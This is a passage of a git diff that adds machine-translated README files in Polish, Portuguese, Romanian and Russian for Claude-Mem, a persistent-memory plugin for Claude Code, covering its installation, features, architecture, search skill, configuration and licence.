ujawnianiem +6. **Baza Wektorów Chroma** - Hybrydowe wyszukiwanie semantyczne + słowa kluczowe dla inteligentnego pobierania kontekstu + +Zobacz [Przegląd Architektury](https://docs.claude-mem.ai/architecture/overview) dla szczegółów. + +--- + +## Umiejętność mem-search + +Claude-Mem zapewnia inteligentne wyszukiwanie poprzez umiejętność mem-search, która automatycznie aktywuje się, gdy pytasz o przeszłą pracę: + +**Jak To Działa:** +- Po prostu pytaj naturalnie: *"Co robiliśmy w ostatniej sesji?"* lub *"Czy naprawiliśmy ten błąd wcześniej?"* +- Claude automatycznie wywołuje umiejętność mem-search, aby znaleźć odpowiedni kontekst + +**Dostępne Operacje Wyszukiwania:** + +1. **Search Observations** - Wyszukiwanie pełnotekstowe w obserwacjach +2. **Search Sessions** - Wyszukiwanie pełnotekstowe w podsumowaniach sesji +3. **Search Prompts** - Wyszukiwanie surowych żądań użytkownika +4. **By Concept** - Znajdź według tagów koncepcyjnych (discovery, problem-solution, pattern, itp.) +5. **By File** - Znajdź obserwacje odnoszące się do określonych plików +6. **By Type** - Znajdź według typu (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Pobierz ostatni kontekst sesji dla projektu +8. **Timeline** - Uzyskaj ujednoliconą oś czasu kontekstu wokół określonego punktu w czasie +9. **Timeline by Query** - Wyszukaj obserwacje i uzyskaj kontekst osi czasu wokół najlepszego dopasowania +10. **API Help** - Uzyskaj dokumentację API wyszukiwania + +**Przykładowe Zapytania w Języku Naturalnym:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +Zobacz [Przewodnik Narzędzi Wyszukiwania](https://docs.claude-mem.ai/usage/search-tools) dla szczegółowych przykładów. + +--- + +## Funkcje Beta + +Claude-Mem oferuje **kanał beta** z eksperymentalnymi funkcjami, takimi jak **Endless Mode** (biomimetyczna architektura pamięci dla rozszerzonych sesji). Przełączaj się między stabilnymi a beta wersjami z interfejsu przeglądarki internetowej pod adresem http://localhost:37777 → Settings. + +Zobacz **[Dokumentacja Funkcji Beta](https://docs.claude-mem.ai/beta-features)** dla szczegółów dotyczących Endless Mode i sposobu wypróbowania. + +--- + +## Wymagania Systemowe + +- **Node.js**: 18.0.0 lub wyższy +- **Claude Code**: Najnowsza wersja z obsługą wtyczek +- **Bun**: Środowisko uruchomieniowe JavaScript i menedżer procesów (automatycznie instalowany, jeśli brakuje) +- **uv**: Menedżer pakietów Python do wyszukiwania wektorowego (automatycznie instalowany, jeśli brakuje) +- **SQLite 3**: Do trwałego przechowywania (dołączony) + +--- + +## Konfiguracja + +Ustawienia są zarządzane w `~/.claude-mem/settings.json` (automatycznie tworzone z domyślnymi wartościami przy pierwszym uruchomieniu). Skonfiguruj model AI, port workera, katalog danych, poziom logowania i ustawienia wstrzykiwania kontekstu. + +Zobacz **[Przewodnik Konfiguracji](https://docs.claude-mem.ai/configuration)** dla wszystkich dostępnych ustawień i przykładów. + +--- + +## Rozwój + +Zobacz **[Przewodnik Rozwoju](https://docs.claude-mem.ai/development)** dla instrukcji budowania, testowania i przepływu pracy współpracy. + +--- + +## Rozwiązywanie Problemów + +Jeśli napotkasz problemy, opisz problem Claude, a umiejętność troubleshoot automatycznie zdiagnozuje i dostarczy poprawki. + +Zobacz **[Przewodnik Rozwiązywania Problemów](https://docs.claude-mem.ai/troubleshooting)** dla typowych problemów i rozwiązań. + +--- + +## Zgłoszenia Błędów + +Twórz kompleksowe raporty błędów za pomocą automatycznego generatora: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Współpraca + +Wkład jest mile widziany! Proszę: + +1. Forkuj repozytorium +2. Utwórz gałąź funkcji +3. Dokonaj zmian z testami +4. Zaktualizuj dokumentację +5. Prześlij Pull Request + +Zobacz [Przewodnik Rozwoju](https://docs.claude-mem.ai/development) dla przepływu pracy współpracy. + +--- + +## Licencja + +Ten projekt jest licencjonowany na podstawie **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Wszelkie prawa zastrzeżone. + +Zobacz plik [LICENSE](LICENSE) dla pełnych szczegółów. + +**Co To Oznacza:** + +- Możesz używać, modyfikować i dystrybuować to oprogramowanie swobodnie +- Jeśli zmodyfikujesz i wdrożysz na serwerze sieciowym, musisz udostępnić swój kod źródłowy +- Dzieła pochodne muszą być również licencjonowane na podstawie AGPL-3.0 +- Nie ma GWARANCJI dla tego oprogramowania + +**Uwaga o Ragtime**: Katalog `ragtime/` jest licencjonowany osobno na podstawie **PolyForm Noncommercial License 1.0.0**. Zobacz [ragtime/LICENSE](ragtime/LICENSE) dla szczegółów. + +--- + +## Wsparcie + +- **Dokumentacja**: [docs/](docs/) +- **Problemy**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repozytorium**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Autor**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Zbudowano za pomocą Claude Agent SDK** | **Zasilane przez Claude Code** | **Wykonane w TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.pt-br.md b/docs/i18n/README.pt-br.md new file mode 100644 index 00000000..f7df0381 --- /dev/null +++ b/docs/i18n/README.pt-br.md @@ -0,0 +1,302 @@ +🌐 Esta é uma tradução automatizada. Correções da comunidade são bem-vindas! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Sistema de compressão de memória persistente construído para Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Início Rápido • + Como Funciona • + Ferramentas de Busca • + Documentação • + Configuração • + Solução de Problemas • + Licença +

+ +

+ Claude-Mem preserva o contexto perfeitamente entre sessões, capturando automaticamente observações de uso de ferramentas, gerando resumos semânticos e disponibilizando-os para sessões futuras. Isso permite que Claude mantenha a continuidade do conhecimento sobre projetos mesmo após o término ou reconexão de sessões. +

+ +--- + +## Início Rápido + +Inicie uma nova sessão do Claude Code no terminal e digite os seguintes comandos: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Reinicie o Claude Code. O contexto de sessões anteriores aparecerá automaticamente em novas sessões. + +**Principais Recursos:** + +- 🧠 **Memória Persistente** - O contexto sobrevive entre sessões +- 📊 **Divulgação Progressiva** - Recuperação de memória em camadas com visibilidade de custo de tokens +- 🔍 **Busca Baseada em Skill** - Consulte seu histórico de projeto com a skill mem-search +- 🖥️ **Interface Web de Visualização** - Fluxo de memória em tempo real em http://localhost:37777 +- 💻 **Skill para Claude Desktop** - Busque memória em conversas do Claude Desktop +- 🔒 **Controle de Privacidade** - Use tags `` para excluir conteúdo sensível do armazenamento +- ⚙️ **Configuração de Contexto** - Controle refinado sobre qual contexto é injetado +- 🤖 **Operação Automática** - Nenhuma intervenção manual necessária +- 🔗 **Citações** - Referencie observações passadas com IDs (acesse via http://localhost:37777/api/observation/{id} ou visualize todas no visualizador web em http://localhost:37777) +- 🧪 **Canal Beta** - Experimente recursos experimentais como o Endless Mode através da troca de versões + +--- + +## Documentação + +📚 **[Ver Documentação Completa](docs/)** - Navegue pelos documentos markdown no GitHub + +### Começando + +- **[Guia de Instalação](https://docs.claude-mem.ai/installation)** - Início rápido e instalação avançada +- **[Guia de Uso](https://docs.claude-mem.ai/usage/getting-started)** - Como Claude-Mem funciona automaticamente +- **[Ferramentas de Busca](https://docs.claude-mem.ai/usage/search-tools)** - Consulte seu histórico de projeto com linguagem natural +- **[Recursos Beta](https://docs.claude-mem.ai/beta-features)** - Experimente recursos experimentais como o Endless Mode + +### Melhores Práticas + +- **[Engenharia de Contexto](https://docs.claude-mem.ai/context-engineering)** - Princípios de otimização de contexto para agentes de IA +- **[Divulgação Progressiva](https://docs.claude-mem.ai/progressive-disclosure)** - Filosofia por trás da estratégia de preparação de contexto do Claude-Mem + +### Arquitetura + +- **[Visão Geral](https://docs.claude-mem.ai/architecture/overview)** - Componentes do sistema e fluxo de dados +- **[Evolução da Arquitetura](https://docs.claude-mem.ai/architecture-evolution)** - A jornada da v3 à v5 +- **[Arquitetura de Hooks](https://docs.claude-mem.ai/hooks-architecture)** - Como Claude-Mem usa hooks de ciclo de vida +- **[Referência de Hooks](https://docs.claude-mem.ai/architecture/hooks)** - 7 scripts de hook explicados +- **[Serviço Worker](https://docs.claude-mem.ai/architecture/worker-service)** - API HTTP e gerenciamento do Bun +- **[Banco de Dados](https://docs.claude-mem.ai/architecture/database)** - Schema SQLite e busca FTS5 +- **[Arquitetura de Busca](https://docs.claude-mem.ai/architecture/search-architecture)** - Busca híbrida com banco de dados vetorial Chroma + +### Configuração e Desenvolvimento + +- **[Configuração](https://docs.claude-mem.ai/configuration)** - Variáveis de ambiente e configurações +- **[Desenvolvimento](https://docs.claude-mem.ai/development)** - Build, testes e contribuição +- **[Solução de Problemas](https://docs.claude-mem.ai/troubleshooting)** - Problemas comuns e soluções + +--- + +## Como Funciona + +**Componentes Principais:** + +1. **5 Hooks de Ciclo de Vida** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 scripts de hook) +2. **Instalação Inteligente** - Verificador de dependências em cache (script pré-hook, não um hook de ciclo de vida) +3. **Serviço Worker** - API HTTP na porta 37777 com interface de visualização web e 10 endpoints de busca, gerenciado pelo Bun +4. **Banco de Dados SQLite** - Armazena sessões, observações, resumos +5. **Skill mem-search** - Consultas em linguagem natural com divulgação progressiva +6. **Banco de Dados Vetorial Chroma** - Busca híbrida semântica + palavra-chave para recuperação inteligente de contexto + +Veja [Visão Geral da Arquitetura](https://docs.claude-mem.ai/architecture/overview) para detalhes. + +--- + +## Skill mem-search + +Claude-Mem fornece busca inteligente através da skill mem-search que se auto-invoca quando você pergunta sobre trabalhos anteriores: + +**Como Funciona:** +- Apenas pergunte naturalmente: *"O que fizemos na última sessão?"* ou *"Já corrigimos esse bug antes?"* +- Claude invoca automaticamente a skill mem-search para encontrar contexto relevante + +**Operações de Busca Disponíveis:** + +1. **Search Observations** - Busca de texto completo em observações +2. **Search Sessions** - Busca de texto completo em resumos de sessão +3. **Search Prompts** - Busca em solicitações brutas do usuário +4. **By Concept** - Encontre por tags de conceito (discovery, problem-solution, pattern, etc.) +5. **By File** - Encontre observações que referenciam arquivos específicos +6. **By Type** - Encontre por tipo (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Obtenha contexto de sessão recente para um projeto +8. **Timeline** - Obtenha linha do tempo unificada de contexto em torno de um ponto específico no tempo +9. **Timeline by Query** - Busque observações e obtenha contexto de linha do tempo em torno da melhor correspondência +10. **API Help** - Obtenha documentação da API de busca + +**Exemplos de Consultas em Linguagem Natural:** + +``` +"Quais bugs corrigimos na última sessão?" +"Como implementamos a autenticação?" +"Quais mudanças foram feitas em worker-service.ts?" +"Mostre-me trabalhos recentes neste projeto" +"O que estava acontecendo quando adicionamos a interface de visualização?" +``` + +Veja [Guia de Ferramentas de Busca](https://docs.claude-mem.ai/usage/search-tools) para exemplos detalhados. + +--- + +## Recursos Beta + +Claude-Mem oferece um **canal beta** com recursos experimentais como **Endless Mode** (arquitetura de memória biomimética para sessões estendidas). Alterne entre versões estável e beta pela interface de visualização web em http://localhost:37777 → Settings. + +Veja **[Documentação de Recursos Beta](https://docs.claude-mem.ai/beta-features)** para detalhes sobre o Endless Mode e como experimentá-lo. + +--- + +## Requisitos do Sistema + +- **Node.js**: 18.0.0 ou superior +- **Claude Code**: Versão mais recente com suporte a plugins +- **Bun**: Runtime JavaScript e gerenciador de processos (instalado automaticamente se ausente) +- **uv**: Gerenciador de pacotes Python para busca vetorial (instalado automaticamente se ausente) +- **SQLite 3**: Para armazenamento persistente (incluído) + +--- + +## Configuração + +As configurações são gerenciadas em `~/.claude-mem/settings.json` (criado automaticamente com valores padrão na primeira execução). Configure modelo de IA, porta do worker, diretório de dados, nível de log e configurações de injeção de contexto. + +Veja o **[Guia de Configuração](https://docs.claude-mem.ai/configuration)** para todas as configurações disponíveis e exemplos. + +--- + +## Desenvolvimento + +Veja o **[Guia de Desenvolvimento](https://docs.claude-mem.ai/development)** para instruções de build, testes e fluxo de contribuição. + +--- + +## Solução de Problemas + +Se você estiver enfrentando problemas, descreva o problema para Claude e a skill troubleshoot diagnosticará automaticamente e fornecerá correções. + +Veja o **[Guia de Solução de Problemas](https://docs.claude-mem.ai/troubleshooting)** para problemas comuns e soluções. + +--- + +## Relatos de Bug + +Crie relatos de bug abrangentes com o gerador automatizado: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Contribuindo + +Contribuições são bem-vindas! Por favor: + +1. Faça um fork do repositório +2. Crie uma branch de feature +3. Faça suas alterações com testes +4. Atualize a documentação +5. Envie um Pull Request + +Veja [Guia de Desenvolvimento](https://docs.claude-mem.ai/development) para o fluxo de contribuição. + +--- + +## Licença + +Este projeto está licenciado sob a **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Todos os direitos reservados. + +Veja o arquivo [LICENSE](LICENSE) para detalhes completos. + +**O Que Isso Significa:** + +- Você pode usar, modificar e distribuir este software livremente +- Se você modificar e implantar em um servidor de rede, você deve disponibilizar seu código-fonte +- Trabalhos derivados também devem ser licenciados sob AGPL-3.0 +- NÃO HÁ GARANTIA para este software + +**Nota sobre Ragtime**: O diretório `ragtime/` é licenciado separadamente sob a **PolyForm Noncommercial License 1.0.0**. Veja [ragtime/LICENSE](ragtime/LICENSE) para detalhes. + +--- + +## Suporte + +- **Documentação**: [docs/](docs/) +- **Issues**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repositório**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Autor**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Construído com Claude Agent SDK** | **Desenvolvido por Claude Code** | **Feito com TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.ro.md b/docs/i18n/README.ro.md new file mode 100644 index 00000000..c52e4d2f --- /dev/null +++ b/docs/i18n/README.ro.md @@ -0,0 +1,302 @@ +🌐 Aceasta este o traducere automată. Corecțiile din partea comunității sunt binevenite! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Sistem persistent de compresie a memoriei construit pentru Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Start Rapid • + Cum Funcționează • + Instrumente de Căutare • + Documentație • + Configurare • + Depanare • + Licență +

+ +

+ Claude-Mem păstrează contextul fără întrerupere între sesiuni prin capturarea automată a observațiilor de utilizare a instrumentelor, generarea de rezumate semantice și punerea lor la dispoziție în sesiunile viitoare. Aceasta permite lui Claude să mențină continuitatea cunoștințelor despre proiecte chiar și după încheierea sau reconectarea sesiunilor. +

+ +--- + +## Start Rapid + +Porniți o nouă sesiune Claude Code în terminal și introduceți următoarele comenzi: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Reporniți Claude Code. Contextul din sesiunile anterioare va apărea automat în sesiunile noi. + +**Caracteristici Principale:** + +- 🧠 **Memorie Persistentă** - Contextul supraviețuiește între sesiuni +- 📊 **Dezvăluire Progresivă** - Recuperare stratificată a memoriei cu vizibilitatea costurilor în tokeni +- 🔍 **Căutare Bazată pe Abilități** - Interogați istoricul proiectului cu abilitatea mem-search +- 🖥️ **Interfață Web Viewer** - Flux de memorie în timp real la http://localhost:37777 +- 💻 **Abilitate Claude Desktop** - Căutați în memorie din conversațiile Claude Desktop +- 🔒 **Control al Confidențialității** - Utilizați etichete `` pentru a exclude conținut sensibil de la stocare +- ⚙️ **Configurare Context** - Control fin asupra contextului care este injectat +- 🤖 **Operare Automată** - Nu necesită intervenție manuală +- 🔗 **Citări** - Referință la observații anterioare cu ID-uri (accesați prin http://localhost:37777/api/observation/{id} sau vizualizați toate în web viewer la http://localhost:37777) +- 🧪 **Canal Beta** - Încercați funcții experimentale precum Endless Mode prin comutarea versiunii + +--- + +## Documentație + +📚 **[Vizualizați Documentația Completă](docs/)** - Răsfoiți documentele markdown pe GitHub + +### Introducere + +- **[Ghid de Instalare](https://docs.claude-mem.ai/installation)** - Start rapid și instalare avansată +- **[Ghid de Utilizare](https://docs.claude-mem.ai/usage/getting-started)** - Cum funcționează Claude-Mem automat +- **[Instrumente de Căutare](https://docs.claude-mem.ai/usage/search-tools)** - Interogați istoricul proiectului cu limbaj natural +- **[Funcții Beta](https://docs.claude-mem.ai/beta-features)** - Încercați funcții experimentale precum Endless Mode + +### Practici Recomandate + +- **[Inginerie Context](https://docs.claude-mem.ai/context-engineering)** - Principii de optimizare a contextului pentru agenți AI +- **[Dezvăluire Progresivă](https://docs.claude-mem.ai/progressive-disclosure)** - Filosofia din spatele strategiei de pregătire a contextului Claude-Mem + +### Arhitectură + +- **[Prezentare Generală](https://docs.claude-mem.ai/architecture/overview)** - Componente de sistem și flux de date +- **[Evoluția Arhitecturii](https://docs.claude-mem.ai/architecture-evolution)** - Parcursul de la v3 la v5 +- **[Arhitectura Hooks](https://docs.claude-mem.ai/hooks-architecture)** - Cum folosește Claude-Mem hook-urile de ciclu de viață +- **[Referință Hooks](https://docs.claude-mem.ai/architecture/hooks)** - 7 scripturi de hook explicate +- **[Serviciu Worker](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API și gestionare Bun +- **[Baza de Date](https://docs.claude-mem.ai/architecture/database)** - Schemă SQLite și căutare FTS5 +- **[Arhitectura Căutării](https://docs.claude-mem.ai/architecture/search-architecture)** - Căutare hibridă cu baza de date vectorială Chroma + +### Configurare și Dezvoltare + +- **[Configurare](https://docs.claude-mem.ai/configuration)** - Variabile de mediu și setări +- **[Dezvoltare](https://docs.claude-mem.ai/development)** - Construire, testare, contribuție +- **[Depanare](https://docs.claude-mem.ai/troubleshooting)** - Probleme comune și soluții + +--- + +## Cum Funcționează + +**Componente Principale:** + +1. **5 Hook-uri de Ciclu de Viață** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 scripturi de hook) +2. **Instalare Inteligentă** - Verificator de dependențe în cache (script pre-hook, nu un hook de ciclu de viață) +3. **Serviciu Worker** - HTTP API pe portul 37777 cu interfață web viewer și 10 endpoint-uri de căutare, gestionat de Bun +4. **Bază de Date SQLite** - Stochează sesiuni, observații, rezumate +5. **Abilitatea mem-search** - Interogări în limbaj natural cu dezvăluire progresivă +6. **Bază de Date Vectorială Chroma** - Căutare hibridă semantică + cuvinte cheie pentru recuperare inteligentă a contextului + +Consultați [Prezentarea Generală a Arhitecturii](https://docs.claude-mem.ai/architecture/overview) pentru detalii. + +--- + +## Abilitatea mem-search + +Claude-Mem oferă căutare inteligentă prin abilitatea mem-search care se invocă automat când întrebați despre lucrul trecut: + +**Cum Funcționează:** +- Întrebați natural: *"Ce am făcut în sesiunea trecută?"* sau *"Am rezolvat acest bug înainte?"* +- Claude invocă automat abilitatea mem-search pentru a găsi contextul relevant + +**Operații de Căutare Disponibile:** + +1. **Search Observations** - Căutare full-text în observații +2. **Search Sessions** - Căutare full-text în rezumatele sesiunilor +3. **Search Prompts** - Căutare în cererile brute ale utilizatorilor +4. **By Concept** - Găsire după etichete de concept (discovery, problem-solution, pattern, etc.) +5. **By File** - Găsire de observații care fac referire la fișiere specifice +6. **By Type** - Găsire după tip (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Obținere context recent al sesiunii pentru un proiect +8. **Timeline** - Obținere cronologie unificată a contextului în jurul unui punct specific în timp +9. **Timeline by Query** - Căutare observații și obținere context cronologic în jurul celei mai bune potriviri +10. **API Help** - Obținere documentație API de căutare + +**Exemple de Interogări în Limbaj Natural:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +Consultați [Ghidul Instrumentelor de Căutare](https://docs.claude-mem.ai/usage/search-tools) pentru exemple detaliate. + +--- + +## Funcții Beta + +Claude-Mem oferă un **canal beta** cu funcții experimentale precum **Endless Mode** (arhitectură de memorie biomimetică pentru sesiuni extinse). Comutați între versiunile stabile și beta din interfața web viewer la http://localhost:37777 → Settings. + +Consultați **[Documentația Funcțiilor Beta](https://docs.claude-mem.ai/beta-features)** pentru detalii despre Endless Mode și cum să îl încercați. + +--- + +## Cerințe de Sistem + +- **Node.js**: 18.0.0 sau superior +- **Claude Code**: Versiunea cea mai recentă cu suport pentru plugin-uri +- **Bun**: Runtime JavaScript și manager de procese (instalat automat dacă lipsește) +- **uv**: Manager de pachete Python pentru căutare vectorială (instalat automat dacă lipsește) +- **SQLite 3**: Pentru stocare persistentă (inclus) + +--- + +## Configurare + +Setările sunt gestionate în `~/.claude-mem/settings.json` (creat automat cu valori implicite la prima rulare). Configurați modelul AI, portul worker, directorul de date, nivelul de log și setările de injectare a contextului. + +Consultați **[Ghidul de Configurare](https://docs.claude-mem.ai/configuration)** pentru toate setările disponibile și exemple. + +--- + +## Dezvoltare + +Consultați **[Ghidul de Dezvoltare](https://docs.claude-mem.ai/development)** pentru instrucțiuni de construire, testare și flux de contribuție. + +--- + +## Depanare + +Dacă întâmpinați probleme, descrieți problema lui Claude și abilitatea troubleshoot va diagnostica automat și va furniza soluții. + +Consultați **[Ghidul de Depanare](https://docs.claude-mem.ai/troubleshooting)** pentru probleme comune și soluții. + +--- + +## Rapoarte de Bug-uri + +Creați rapoarte comprehensive de bug-uri cu generatorul automat: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Contribuție + +Contribuțiile sunt binevenite! Vă rugăm: + +1. Faceți fork la repository +2. Creați o ramură de funcție +3. Faceți modificările cu teste +4. Actualizați documentația +5. Trimiteți un Pull Request + +Consultați [Ghidul de Dezvoltare](https://docs.claude-mem.ai/development) pentru fluxul de contribuție. + +--- + +## Licență + +Acest proiect este licențiat sub **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Toate drepturile rezervate. + +Consultați fișierul [LICENSE](LICENSE) pentru detalii complete. + +**Ce Înseamnă Asta:** + +- Puteți folosi, modifica și distribui acest software liber +- Dacă modificați și implementați pe un server de rețea, trebuie să faceți disponibil codul sursă +- Lucrările derivate trebuie să fie licențiate și ele sub AGPL-3.0 +- NU EXISTĂ NICIO GARANȚIE pentru acest software + +**Notă despre Ragtime**: Directorul `ragtime/` este licențiat separat sub **PolyForm Noncommercial License 1.0.0**. Consultați [ragtime/LICENSE](ragtime/LICENSE) pentru detalii. + +--- + +## Suport + +- **Documentație**: [docs/](docs/) +- **Probleme**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repository**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Autor**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Construit cu Claude Agent SDK** | **Alimentat de Claude Code** | **Realizat cu TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.ru.md b/docs/i18n/README.ru.md new file mode 100644 index 00000000..2b53f3fa --- /dev/null +++ b/docs/i18n/README.ru.md @@ -0,0 +1,302 @@ +🌐 Это автоматический перевод. Приветствуются исправления от сообщества! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Система сжатия постоянной памяти, созданная для Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Быстрый старт • + Как это работает • + Инструменты поиска • + Документация • + Конфигурация • + Устранение неполадок • + Лицензия +

+ +

+ Claude-Mem бесшовно сохраняет контекст между сеансами, автоматически фиксируя наблюдения за использованием инструментов, генерируя семантические сводки и делая их доступными для будущих сеансов. Это позволяет Claude поддерживать непрерывность знаний о проектах даже после завершения или переподключения сеансов. +

+ +--- + +## Быстрый старт + +Запустите новый сеанс Claude Code в терминале и введите следующие команды: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Перезапустите Claude Code. Контекст из предыдущих сеансов будет автоматически появляться в новых сеансах. + +**Ключевые возможности:** + +- 🧠 **Постоянная память** - Контекст сохраняется между сеансами +- 📊 **Прогрессивное раскрытие** - Многоуровневое извлечение памяти с видимостью стоимости токенов +- 🔍 **Поиск на основе навыков** - Запросы к истории проекта с помощью навыка mem-search +- 🖥️ **Веб-интерфейс просмотра** - Поток памяти в реальном времени на http://localhost:37777 +- 💻 **Навык для Claude Desktop** - Поиск в памяти из разговоров Claude Desktop +- 🔒 **Контроль конфиденциальности** - Используйте теги `` для исключения конфиденциального контента из хранилища +- ⚙️ **Настройка контекста** - Детальный контроль того, какой контекст внедряется +- 🤖 **Автоматическая работа** - Не требуется ручное вмешательство +- 🔗 **Цитирование** - Ссылки на прошлые наблюдения с помощью ID (доступ через http://localhost:37777/api/observation/{id} или просмотр всех в веб-интерфейсе на http://localhost:37777) +- 🧪 **Бета-канал** - Попробуйте экспериментальные функции, такие как режим Endless, переключая версии + +--- + +## Документация + +📚 **[Просмотреть полную документацию](docs/)** - Просмотр markdown-документов на GitHub + +### Начало работы + +- **[Руководство по установке](https://docs.claude-mem.ai/installation)** - Быстрый старт и продвинутая установка +- **[Руководство по использованию](https://docs.claude-mem.ai/usage/getting-started)** - Как Claude-Mem работает автоматически +- **[Инструменты поиска](https://docs.claude-mem.ai/usage/search-tools)** - Запросы к истории проекта на естественном языке +- **[Бета-функции](https://docs.claude-mem.ai/beta-features)** - Попробуйте экспериментальные функции, такие как режим Endless + +### Лучшие практики + +- **[Инженерия контекста](https://docs.claude-mem.ai/context-engineering)** - Принципы оптимизации контекста для AI-агентов +- **[Прогрессивное раскрытие](https://docs.claude-mem.ai/progressive-disclosure)** - Философия стратегии подготовки контекста в Claude-Mem + +### Архитектура + +- **[Обзор](https://docs.claude-mem.ai/architecture/overview)** - Компоненты системы и поток данных +- **[Эволюция архитектуры](https://docs.claude-mem.ai/architecture-evolution)** - Путь от v3 к v5 +- **[Архитектура хуков](https://docs.claude-mem.ai/hooks-architecture)** - Как Claude-Mem использует хуки жизненного цикла +- **[Справочник по хукам](https://docs.claude-mem.ai/architecture/hooks)** - Объяснение 7 скриптов хуков +- **[Сервис Worker](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API и управление Bun +- **[База данных](https://docs.claude-mem.ai/architecture/database)** - Схема SQLite и поиск FTS5 +- **[Архитектура поиска](https://docs.claude-mem.ai/architecture/search-architecture)** - Гибридный поиск с векторной базой данных Chroma + +### Конфигурация и разработка + +- **[Конфигурация](https://docs.claude-mem.ai/configuration)** - Переменные окружения и настройки +- **[Разработка](https://docs.claude-mem.ai/development)** - Сборка, тестирование, участие в разработке +- **[Устранение неполадок](https://docs.claude-mem.ai/troubleshooting)** - Распространенные проблемы и решения + +--- + +## Как это работает + +**Основные компоненты:** + +1. **5 хуков жизненного цикла** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 скриптов хуков) +2. **Умная установка** - Проверка кешированных зависимостей (скрипт предварительного хука, не 